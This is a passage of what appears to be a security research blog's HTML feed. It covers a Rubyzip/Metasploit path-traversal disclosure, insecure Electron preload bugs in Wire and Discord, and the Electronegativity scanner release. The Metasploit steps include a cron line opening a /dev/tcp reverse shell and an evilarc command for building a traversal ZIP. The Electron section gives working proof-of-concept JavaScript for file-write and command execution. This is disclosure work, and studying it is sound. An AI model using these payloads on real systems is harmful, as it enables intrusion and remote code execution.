<span class="n">target</span> <span class="o">=</span> <span class="o">::</span><span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="vi">@import_filedata</span><span class="p">[</span><span class="ss">:zip_tmp</span><span class="p">],</span> <span class="n">e</span><span class="p">.</span><span class="nf">name</span><span class="p">)</span>
<span class="n">data</span><span class="p">.</span><span class="nf">extract</span><span class="p">(</span><span class="n">e</span><span class="p">,</span><span class="n">target</span><span class="p">)</span>
</code></pre></div></div>
<p>As for the vanilla Rubyzip example, creating a ZIP file containing a path traversal payload and embedding a valid MSF workspace (an XML file containing the exported info from a scan) made it possible to obtain a reliable file-write primitive. Since the extraction is done as <code class="language-plaintext highlighter-rouge">root</code>, we could easily obtain remote command execution with high privileges using the following steps:</p>
<ol>
<li>Create a file with the following content: <br /> <code class="language-plaintext highlighter-rouge">* * * * * root /bin/bash -c "exec /bin/bash 0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec 196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"</code></li>
<li>Generate the ZIP archive with the path traversal payload: <br /><code class="language-plaintext highlighter-rouge">python evilarc.py exploit --os unix -p etc/cron.d/</code></li>
<li>Add a valid MSF workspace to the ZIP file (in order to have MSF to extract it, otherwise it will refuse to process the ZIP archive)</li>
<li>Setup two listeners, one on port 4444 and the other on port 4445 (the one on port 4445 will get the reverse shell)</li>
<li>Login in the MSF Web Interface</li>
<li>Create a new “Project”</li>
<li>Select “Import”, “From file”, chose the evil ZIP file and finally click the “Import” button</li>
<li>Wait for the import process to finish</li>
<li>Enjoy your reverse shell</li>
</ol>
<p><br /></p>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/msf-zip.png">
<source src="../../../public/images/msf-zip-bug.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<h2 id="conclusions">Conclusions</h2>
<p>In case you are using <code class="language-plaintext highlighter-rouge">Rubyzip</code>, check the library usage and perform additional validation against the entry name and the destination path before calling <code class="language-plaintext highlighter-rouge">Entry#extract</code>.</p>
<p>Here is a small recap of the different scenarios (as of <code class="language-plaintext highlighter-rouge">Rubyzip v1.2.2</code>):</p>
<table>
<tr>
<th>Usage</th>
<th>Input by user?</th>
<th>Vulnerable to path traversal?</th>
</tr>
<tr>
<td>entry.extract(path)</td>
<td>yes (path)</td>
<td><b>yes</b></td>
</tr>
<tr>
<td>entry.extract(path)</td>
<td>partially (path is concatenated)</td>
<td><b>maybe</b></td>
</tr>
<tr>
<td>entry.extract()</td>
<td>partially (entry name)</td>
<td>no</td>
</tr>
<tr>
<td>entry.extract()</td>
<td>no</td>
<td>no</td>
</tr>
</table>
<p>If you’re using Metasploit, it is <a href="https://blog.rapid7.com/2019/04/19/metasploit-wrap-up-13/">time to patch</a>. We look forward to seeing a msf module for CVE-2019-5624.</p>
<h2 id="credits-and-references">Credits and References</h2>
<p>Credit for the research and bugs go to <a href="https://twitter.com/void_sec">@voidsec</a> and <a href="https://twitter.com/polict_">@polict</a>.</p>
<p>This work has been performed during a customer engagement and <a href="https://doyensec.com/research.html">Doyensec 25% Research Time</a>.
As such, we would like to thank our customer and Metasploit maintainers for their support.</p>
<p>If you’re interested in the topic, take a look at the following resources:</p>
<ul>
<li><a href="https://github.com/Rubyzip/Rubyzip">Rubyzip Library</a></li>
<li><a href="https://guides.rubyonrails.org/">Ruby on Rails Guides</a></li>
<li><a href="http://www.phrack.org/issues/69/12.html">Attacking Ruby on Rails Applications</a></li>
<li><a href="http://www.phrack.org/issues/50/3.html">1997 Portable BBS Hacking (or when Zip Slip was actually invented)</a></li>
<li><a href="https://labs.neohapsis.com/2009/04/21/directory-traversal-in-archives/">Evilarc blog post (or 2019 and this post is still relevant)</a></li>
</ul>
Subverting Electron Apps via Insecure Preload2019-04-03T00:00:00+02:00https://blog.doyensec.com/2019/04/03/subverting-electron-apps-via-insecure-preload<p>We’re back from <a href="https://www.blackhat.com/asia-19/briefings/schedule/index.html#preloading-insecurity-in-your-electron-13756">BlackHat Asia 2019</a> where we introduced a relatively unexplored class of vulnerabilities affecting <a href="https://electronjs.org/">Electron-based</a> applications.</p>
<p>Despite popular belief, secure-by-default settings are slowly becoming the norm and the dev community is gradually learning common pitfalls. Isolation is now widely deployed across all top Electron applications and so turning XSS into RCE isn’t child’s play anymore.</p>
<p><img src="../../../public/images/xss2rce.png" width="500" alt="From Alert to Calc" align="center" /></p>
<p>BrowserWindow <a href="https://electronjs.org/docs/all#preload">preload</a> introduces a new and interesting attack vector. Even without a framework bug (e.g. <code class="language-plaintext highlighter-rouge">nodeIntegration</code> bypass), this neglected attack surface can be abused to bypass isolation and access Node.js primitives in a reliable manner.</p>
<blockquote>
<p>You can download the slides of our talk from the official BlackHat Briefings archive: <a href="http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf">http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf</a></p>
</blockquote>
<h3 id="preloading-insecurity-in-your-electron">Preloading Insecurity In Your Electron</h3>
<p>Preload is a mechanism to execute code before renderer scripts are loaded. This is generally employed by applications to export functions and objects to the page’s <code class="language-plaintext highlighter-rouge">window</code> object as shown in the official documentation:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">let</span> <span class="nx">win</span>
<span class="nx">app</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">ready</span><span class="dl">'</span><span class="p">,</span> <span class="p">()</span> <span class="o">=></span> <span class="p">{</span>
<span class="nx">win</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BrowserWindow</span><span class="p">({</span>
<span class="na">webPreferences</span><span class="p">:</span> <span class="p">{</span>
<span class="na">sandbox</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="na">preload</span><span class="p">:</span> <span class="dl">'</span><span class="s1">preload.js</span><span class="dl">'</span>
<span class="p">}</span>
<span class="p">})</span>
<span class="nx">win</span><span class="p">.</span><span class="nx">loadURL</span><span class="p">(</span><span class="dl">'</span><span class="s1">http://google.com</span><span class="dl">'</span><span class="p">)</span>
<span class="p">})</span>
</code></pre></div></div>
<p><em>preload.js</em> can contain custom logic to augment the renderer with easy-to-use functions or application-specific objects:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">fs</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">fs</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="p">{</span> <span class="nx">ipcRenderer</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">)</span>
<span class="c1">// read a configuration file using the `fs` module</span>
<span class="kd">const</span> <span class="nx">buf</span> <span class="o">=</span> <span class="nx">fs</span><span class="p">.</span><span class="nx">readFileSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">allowed-popup-urls.json</span><span class="dl">'</span><span class="p">)</span>
<span class="kd">const</span> <span class="nx">allowedUrls</span> <span class="o">=</span> <span class="nx">JSON</span><span class="p">.</span><span class="nx">parse</span><span class="p">(</span><span class="nx">buf</span><span class="p">.</span><span class="nx">toString</span><span class="p">(</span><span class="dl">'</span><span class="s1">utf8</span><span class="dl">'</span><span class="p">))</span>
<span class="kd">const</span> <span class="nx">defaultWindowOpen</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">open</span>
<span class="kd">function</span> <span class="nx">customWindowOpen</span> <span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">...</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">allowedUrls</span><span class="p">.</span><span class="nx">indexOf</span><span class="p">(</span><span class="nx">url</span><span class="p">)</span> <span class="o">===</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">sendSync</span><span class="p">(</span><span class="dl">'</span><span class="s1">blocked-popup-notification</span><span class="dl">'</span><span class="p">,</span> <span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="p">,</span> <span class="nx">url</span><span class="p">)</span>
<span class="k">return</span> <span class="kc">null</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nx">defaultWindowOpen</span><span class="p">(</span><span class="nx">url</span><span class="p">,</span> <span class="p">...</span><span class="nx">args</span><span class="p">)</span>
<span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">open</span> <span class="o">=</span> <span class="nx">customWindowOpen</span>
<span class="p">[...]</span>
</code></pre></div></div>
<p>Through performing numerous assessments on behalf of our clients, we noticed a general lack of awareness around the risks introduced by preload scripts. Even in popular applications using all recommended <a href="https://electronjs.org/docs/tutorial/security">security best practices</a>, we were able to turn boring XSS into RCE in a matter of hours.</p>
<p>This prompted us to further research the topic and categorize four types of <strong>insecure preloads</strong>:</p>
<ul>
<li>
<p><strong>(1) Preload scripts can reintroduce <em>Node</em> global symbols back to the global scope</strong></p>
<p>While it is evident that reintroducing some Node global symbols (e.g. <code class="language-plaintext highlighter-rouge">process</code>) to the renderer is dangerous, the risk is not immediately obvious for classes like <code class="language-plaintext highlighter-rouge">Buffer</code> (which can be leveraged for a <code class="language-plaintext highlighter-rouge">nodeIntegration</code> bypass)</p>
</li>
<li>
<p><strong>(2) Preload scripts can introduce functionalities that can be abused by untrusted code</strong></p>
<p>Preload scripts have access to Node.js, and the functions exported by applications to the global <code class="language-plaintext highlighter-rouge">window</code> often include dangerous primitives</p>
</li>
<li>
<p><strong>(3) Preload scripts can facilitate <code class="language-plaintext highlighter-rouge">sandbox</code> bypasses</strong></p>
<p>Even with <code class="language-plaintext highlighter-rouge">sandbox</code> enabled, preload scripts still have access to Node.JS native classes and a few Electron modules. Once again, preload code can leak privileged APIs to untrusted code that could facilitate <code class="language-plaintext highlighter-rouge">sandbox</code> bypasses</p>
</li>
<li>
<p><strong>(4) Without <code class="language-plaintext highlighter-rouge">contextIsolation</code>, the integrity of preload scripts is not guaranteed</strong></p>
<p>When isolated words are not in use, prototype pollution attacks can override preload script code. Malicious JavaScript running in the renderer can alter preload functions in order to return different data, bypass checks, etc.</p>
</li>
</ul>
<p>In this blog post, we will analyze a couple of vulnerabilities belonging to group (2) which we discovered in two popular applications: <a href="https://wire.com/">Wire App</a> and <a href="https://discordapp.com/">Discord</a>.</p>
<p>For more vulnerabilities and examples, please refer to our presentation.</p>
<h3 id="wireapp-desktop-arbitrary-file-write-via-insecure-preload">WireApp Desktop Arbitrary File Write via Insecure Preload</h3>
<p><a href="https://wire.com/">Wire App</a> is a self-proclaimed <em>“most secure collaboration platform”</em>. It’s a secure messaging app using end-to-end encryption for file sharing, voice, and video calls. The application implements isolation by using a <code class="language-plaintext highlighter-rouge">BrowserWindow</code> with <code class="language-plaintext highlighter-rouge">nodeIntegration</code> disabled, in which a <a href="https://electronjs.org/docs/api/webview-tag">webview</a> HTML tag is used.</p>
<p><img src="../../../public/images/wiredesign.png" alt="Wire App frames" width="550" align="center" /></p>
<p>Despite enforcing isolation, the <code class="language-plaintext highlighter-rouge">web-view-preload.js</code> preload file contains the following code:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">const</span> <span class="nx">webViewLogger</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">winston</span><span class="p">.</span><span class="nx">Logger</span><span class="p">();</span>
<span class="nx">webViewLogger</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="nx">winston</span><span class="p">.</span><span class="nx">transports</span><span class="p">.</span><span class="nx">File</span><span class="p">,</span> <span class="p">{</span>
<span class="na">filename</span><span class="p">:</span> <span class="nx">logFilePath</span><span class="p">,</span>
<span class="na">handleExceptions</span><span class="p">:</span> <span class="kc">true</span><span class="p">,</span>
<span class="p">});</span>
<span class="nx">webViewLogger</span><span class="p">.</span><span class="nx">info</span><span class="p">(</span><span class="nx">config</span><span class="p">.</span><span class="nx">NAME</span><span class="p">,</span> <span class="dl">'</span><span class="s1">Version</span><span class="dl">'</span><span class="p">,</span> <span class="nx">config</span><span class="p">.</span><span class="nx">VERSION</span><span class="p">);</span>
<span class="c1">// webapp uses global winston reference to define log level</span>
<span class="nb">global</span><span class="p">.</span><span class="nx">winston</span> <span class="o">=</span> <span class="nx">webViewLogger</span><span class="p">;</span>
</code></pre></div></div>
<p>Code running in the isolated renderer (e.g. XSS) can override the logger’s transport setting in order to obtain a file write primitive.</p>
<p>This issue can be easily verified by switching to the messages view:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">window</span><span class="p">.</span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="dl">"</span><span class="s2">webview</span><span class="dl">"</span><span class="p">)[</span><span class="mi">0</span><span class="p">].</span><span class="nx">openDevTools</span><span class="p">();</span>
</code></pre></div></div>
<p>Before executing the following code:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">formatme</span><span class="p">(</span><span class="nx">args</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">logMessage</span> <span class="o">=</span> <span class="nx">args</span><span class="p">.</span><span class="nx">message</span><span class="p">;</span>
<span class="k">return</span> <span class="nx">logMessage</span><span class="p">;</span>
<span class="p">}</span>
<span class="nx">winston</span><span class="p">.</span><span class="nx">transports</span><span class="p">.</span><span class="nx">file</span> <span class="o">=</span> <span class="p">(</span><span class="k">new</span> <span class="nx">winston</span><span class="p">.</span><span class="nx">transports</span><span class="p">.</span><span class="nx">file</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">.</span><span class="kd">constructor</span><span class="p">({</span>
<span class="na">dirname</span><span class="p">:</span> <span class="dl">'</span><span class="s1">/home/ikki/</span><span class="dl">'</span><span class="p">,</span>
<span class="na">level</span><span class="p">:</span> <span class="dl">'</span><span class="s1">error</span><span class="dl">'</span><span class="p">,</span>
<span class="na">filename</span><span class="p">:</span> <span class="dl">'</span><span class="s1">.bashrc</span><span class="dl">'</span><span class="p">,</span>
<span class="na">json</span><span class="p">:</span> <span class="kc">false</span><span class="p">,</span>
<span class="na">formatter</span><span class="p">:</span> <span class="nx">formatme</span>
<span class="p">}))</span>
<span class="nx">winston</span><span class="p">.</span><span class="nx">error</span><span class="p">(</span><span class="dl">'</span><span class="s1">xcalc &</span><span class="dl">'</span><span class="p">);</span>
</code></pre></div></div>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/wireappvuln.png">
<source src="../../../public/images/wiredemo.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p><br /></p>
<p>This issue affected all supported platforms (Windows, Mac, Linux). As the sandbox entitlement is enabled on macOS, an attacker would need to chain this issue with another bug to write outside the application folders. Please note that since it is possible to override some application files, RCE may still be possible without a macOS sandbox bypass.</p>
<p>A security patch was released on <a href="https://medium.com/wire-news/windows-3-7-2904-52c56b1113af">March 14, 2019</a>, just few days after our disclosure.</p>
<h3 id="discord-desktop-arbitrary-ipc-via-insecure-preload">Discord Desktop Arbitrary IPC via Insecure Preload</h3>
<p><a href="https://discordapp.com/">Discord</a> is a popular voice and text chat used by over 250 million gamers. The application implements isolation by simply using a <code class="language-plaintext highlighter-rouge">BrowserWindow</code> with <code class="language-plaintext highlighter-rouge">nodeIntegration</code> disabled. Despite that, the preload script (<em>app/mainScreenPreload.js</em>) in use by the same <code class="language-plaintext highlighter-rouge">BrowserWindow</code> contains multiple exports including the following:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">DiscordNative</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">isRenderer</span><span class="p">:</span> <span class="nx">process</span><span class="p">.</span><span class="nx">type</span> <span class="o">===</span> <span class="dl">'</span><span class="s1">renderer</span><span class="dl">'</span><span class="p">,</span>
<span class="c1">//..</span>
<span class="na">ipc</span><span class="p">:</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">./discord_native/ipc</span><span class="dl">'</span><span class="p">),</span>
<span class="p">};</span>
<span class="c1">//..</span>
<span class="nx">process</span><span class="p">.</span><span class="nx">once</span><span class="p">(</span><span class="dl">'</span><span class="s1">loaded</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="nb">global</span><span class="p">.</span><span class="nx">DiscordNative</span> <span class="o">=</span> <span class="nx">DiscordNative</span><span class="p">;</span>
<span class="c1">//..</span>
<span class="p">}</span>
</code></pre></div></div>
<p>where <em>app/discord_native/ipc.js</em> contains the following code:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">var</span> <span class="nx">electron</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">ipcRenderer</span> <span class="o">=</span> <span class="nx">electron</span><span class="p">.</span><span class="nx">ipcRenderer</span><span class="p">;</span>
<span class="kd">function</span> <span class="nx">send</span><span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
<span class="k">for</span> <span class="p">(</span><span class="kd">var</span> <span class="nx">_len</span> <span class="o">=</span> <span class="nx">arguments</span><span class="p">.</span><span class="nx">length</span><span class="p">,</span> <span class="nx">args</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">(</span><span class="nx">_len</span> <span class="o">></span> <span class="mi">1</span> <span class="p">?</span> <span class="nx">_len</span> <span class="o">-</span> <span class="mi">1</span> <span class="p">:</span> <span class="mi">0</span><span class="p">),</span> <span class="nx">_key</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="nx">_key</span> <span class="o"><</span> <span class="nx">_len</span><span class="p">;</span> <span class="nx">_key</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">args</span><span class="p">[</span><span class="nx">_key</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="nx">arguments</span><span class="p">[</span><span class="nx">_key</span><span class="p">];</span>
<span class="p">}</span>
<span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">send</span><span class="p">.</span><span class="nx">apply</span><span class="p">(</span><span class="nx">ipcRenderer</span><span class="p">,</span> <span class="p">[</span><span class="nx">event</span><span class="p">].</span><span class="nx">concat</span><span class="p">(</span><span class="nx">args</span><span class="p">));</span>
<span class="p">}</span>
<span class="kd">function</span> <span class="nx">on</span><span class="p">(</span><span class="nx">event</span><span class="p">,</span> <span class="nx">callback</span><span class="p">)</span> <span class="p">{</span>
<span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="nx">event</span><span class="p">,</span> <span class="nx">callback</span><span class="p">);</span>
<span class="p">}</span>
<span class="nx">module</span><span class="p">.</span><span class="nx">exports</span> <span class="o">=</span> <span class="p">{</span>
<span class="na">send</span><span class="p">:</span> <span class="nx">send</span><span class="p">,</span>
<span class="na">on</span><span class="p">:</span> <span class="nx">on</span>
<span class="p">};</span>
</code></pre></div></div>
<p>Without going into details, this script is basically a wrapper for the official Electron’s <a href="https://electronjs.org/docs/api/ipc-renderer#ipcrenderersendchannel-arg1-arg2-">asynchronous IPC mechanism</a> in order to exchange messages from the render process (web page) to the main process.</p>
<p>In Electron, <code class="language-plaintext highlighter-rouge">ipcMain</code> and <code class="language-plaintext highlighter-rouge">ipcRenderer</code> modules are used to implement IPC between the main process and the renderers but they’re also leveraged for internal native framework invocations. For instance, the <code class="language-plaintext highlighter-rouge">window.close()</code> function is implemented using the following event listener:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Implements window.close()</span>
<span class="nx">ipcMainInternal</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="dl">'</span><span class="s1">ELECTRON_BROWSER_WINDOW_CLOSE</span><span class="dl">'</span><span class="p">,</span> <span class="kd">function</span> <span class="p">(</span><span class="nx">event</span><span class="p">)</span> <span class="p">{</span>
<span class="kd">const</span> <span class="nb">window</span> <span class="o">=</span> <span class="nx">event</span><span class="p">.</span><span class="nx">sender</span><span class="p">.</span><span class="nx">getOwnerBrowserWindow</span><span class="p">()</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">window</span><span class="p">)</span> <span class="p">{</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">close</span><span class="p">()</span>
<span class="p">}</span>
<span class="nx">event</span><span class="p">.</span><span class="nx">returnValue</span> <span class="o">=</span> <span class="kc">null</span>
<span class="p">})</span>
</code></pre></div></div>
<p>As there’s no separation between application-level IPC messages and the <code class="language-plaintext highlighter-rouge">ELECTRON_</code> internal channel, the ability to set arbitrary channel names allows untrusted code in the renderer to subvert the framework’s security mechanism.</p>
<p>For example, the following synchronous IPC calls can be used to execute an arbitrary binary:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">(</span><span class="kd">function</span> <span class="p">()</span> <span class="p">{</span>
<span class="kd">var</span> <span class="nx">ipcRenderer</span> <span class="o">=</span> <span class="nx">require</span><span class="p">(</span><span class="dl">'</span><span class="s1">electron</span><span class="dl">'</span><span class="p">).</span><span class="nx">ipcRenderer</span>
<span class="kd">var</span> <span class="nx">electron</span> <span class="o">=</span> <span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">sendSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">ELECTRON_BROWSER_REQUIRE</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">electron</span><span class="dl">"</span><span class="p">);</span>
<span class="kd">var</span> <span class="nx">shell</span> <span class="o">=</span> <span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">sendSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">ELECTRON_BROWSER_MEMBER_GET</span><span class="dl">"</span><span class="p">,</span> <span class="nx">electron</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="dl">"</span><span class="s2">shell</span><span class="dl">"</span><span class="p">);</span>
<span class="k">return</span> <span class="nx">ipcRenderer</span><span class="p">.</span><span class="nx">sendSync</span><span class="p">(</span><span class="dl">"</span><span class="s2">ELECTRON_BROWSER_MEMBER_CALL</span><span class="dl">"</span><span class="p">,</span> <span class="nx">shell</span><span class="p">.</span><span class="nx">id</span><span class="p">,</span> <span class="dl">"</span><span class="s2">openExternal</span><span class="dl">"</span><span class="p">,</span> <span class="p">[{</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">value</span><span class="dl">'</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="dl">"</span><span class="s2">file:///Applications/Calculator.app</span><span class="dl">"</span>
<span class="p">}]);</span>
<span class="p">})();</span>
</code></pre></div></div>
<p>In the case of the Discord’s preload, an attacker can issue asynchronous IPC messages with arbitrary channels. While it is not possible to obtain a reference of the objects from the function exposed in the untrusted window, an attacker can still brute-force the reference of the <code class="language-plaintext highlighter-rouge">child_process</code> using the following code:</p>
<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">DiscordNative</span><span class="p">.</span><span class="nx">ipc</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">ELECTRON_BROWSER_REQUIRE</span><span class="dl">"</span><span class="p">,</span><span class="dl">"</span><span class="s2">child_process</span><span class="dl">"</span><span class="p">);</span>
<span class="k">for</span><span class="p">(</span><span class="kd">var</span> <span class="nx">i</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span><span class="nx">i</span><span class="o"><</span><span class="mi">50</span><span class="p">;</span><span class="nx">i</span><span class="o">++</span><span class="p">){</span>
<span class="nx">DiscordNative</span><span class="p">.</span><span class="nx">ipc</span><span class="p">.</span><span class="nx">send</span><span class="p">(</span><span class="dl">"</span><span class="s2">ELECTRON_BROWSER_MEMBER_CALL</span><span class="dl">"</span><span class="p">,</span> <span class="nx">i</span><span class="p">,</span> <span class="dl">"</span><span class="s2">exec</span><span class="dl">"</span><span class="p">,</span> <span class="p">[{</span>
<span class="na">type</span><span class="p">:</span> <span class="dl">'</span><span class="s1">value</span><span class="dl">'</span><span class="p">,</span>
<span class="na">value</span><span class="p">:</span> <span class="dl">"</span><span class="s2">calc.exe</span><span class="dl">"</span>
<span class="p">}]);</span>
<span class="p">}</span>
</code></pre></div></div>
<video controls="" preload="auto" width="100%" height="100%" poster="../../../public/images/discordvuln.png">
<source src="../../../public/images/discorddemoipc.mp4" type="video/mp4" />
Your browser does not support the video tag.
</video>
<p><br /></p>
<p>This issue affected all supported platforms (Windows, Mac, Linux). A security patch was released at the beginning of 2019. Additionally, Discord also removed backwards compatibility code with old clients.</p>
Electronegativity is finally out!2019-01-24T00:00:00+01:00https://blog.doyensec.com/2019/01/24/electronegativity<p>We’re excited to announce the public release of <a href="https://github.com/doyensec/electronegativity">Electronegativity</a>, an opensource tool capable of identifying misconfigurations and security anti-patterns in <a href="https://electronjs.org/">Electron</a>-based applications.</p>
<p>Electronegativity is the first-of-its-kind tool that can help software developers and security auditors to detect and mitigate potential weaknesses in Electron applications.</p>
<p>If you’re simply interested in trying out Electronegativity, go ahead and install it using NPM:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>npm <span class="nb">install</span> @doyensec/electronegativity <span class="nt">-g</span>
</code></pre></div></div>
<p>To review your application, use the following command:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>electronegativity <span class="nt">-i</span> /path/to/electron/app
</code></pre></div></div>
<p>Results are displayed in a compact table, with references to application files and our knowledge-base.</p>
<p><img src="../../../public/images/electronegativity.png" alt="Electronegativity Demo" align="center" /></p>
<p>The remaining blog post will provide more details on the public release and introduce its current features.</p>
<h3 id="a-bit-of-history">A bit of history</h3>
<p>Back in July 2017 at the <a href="https://www.blackhat.com/us-17/">BlackHat USA Briefings</a>, we presented the <a href="https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security.pdf">first comprehensive study on Electron security</a> where we primarily focused on framework-level vulnerabilities and misconfigurations. As part of our research journey, we also created a <a href="https://doyensec.com/resources/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf">checklist of security anti-patterns</a> and must-have features to illustrate misconfigurations and vulnerabilities in Electron-based applications.</p>
<p>With that, me and <a href="https://github.com/p4p3r">Claudio Merloni</a> started developing the first prototype for Electronegativity. Immediately after the BlackHat presentation, we received a lot of great feedback and new ideas on how to evolve the tool. Back home, we started working on those improvements until we realized that we had to rethink the overall design. The code repository was made private again and minor refinements were done in between customer projects only.</p>
<p>In the summer of 2018, we hired Doyensec’s first intern - <a href="https://github.com/0xibram">Ibram Marzouk</a> who started working on the tool again. Later, <a href="https://github.com/JarLob">Jaroslav Lobacevski</a> joined the project team and pushed Electronegativity to the finish line. <em>Claudio</em>, <em>Ibram</em> and <em>Jaroslav</em>, thanks for your contributions!</p>
<p>While certainly overdue, we’re happy that we eventually managed to release the tool in better shape. We believe that Electron is here to stay and hopefully Electronegativity will become a useful companion for all Electron developers out there.</p>
<h3 id="how-does-it-work">How Does It Work?</h3>
<p>Electronegativity leverages AST / DOM parsing to look for security-relevant configurations. Checks are standalone files, which makes the tool modular and extensible.</p>
<p><a href="https://github.com/doyensec/electronegativity/blob/master/CONTRIBUTING.md">Building a new check</a> is relatively easy too. We support three “families” of checks, so that the tool can analyze all resources within an Electron application:</p>
<ul>
<li>JS (using a combination of <a href="http://esprima.org/">Esprima</a>, <a href="https://github.com/babel/babel">Babel</a>, <a href="https://github.com/JamesHenry/typescript-estree">TypeScript ESTree</a>)</li>
<li>HTML (using <a href="https://github.com/cheeriojs/cheerio">Cheerio</a>)</li>
<li>JSON (using the native <code class="language-plaintext highlighter-rouge">JSON.parse()</code>)</li>
</ul>
<p>When you scan an application, the tool will unpack all resources (if applicable) and perform an audit using all registered checks. Results are displayed in the terminal, CSV file or SARIF format.</p>
<h4 id="supported-checks">Supported Checks</h4>
<p>Electronegativity currently implements the following checks. A knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities:</p>
<ol>
<li><a href="https://github.com/doyensec/electronegativity/wiki/ALLOWPOPUPS_HTML_CHECK">ALLOWPOPUPS_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/AUXCLICK_JS_CHECK">AUXCLICK_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/AUXCLICK_HTML_CHECK">AUXCLICK_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/BLINK_FEATURES_JS_CHECK">BLINK_FEATURES_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/BLINK_FEATURES_HTML_CHECK">BLINK_FEATURES_HTML_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/CERTIFICATE_ERROR_EVENT_JS_CHECK">CERTIFICATE_ERROR_EVENT_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/CERTIFICATE_VERIFY_PROC_JS_CHECK">CERTIFICATE_VERIFY_PROC_JS_CHECK</a></li>
<li><a href="https://github.com/doyensec/electronegativity/wiki/CONTEXT_ISOLATION_JS_CHECK">CONTEXT_ISOLATION_JS_CHECK</a></li>
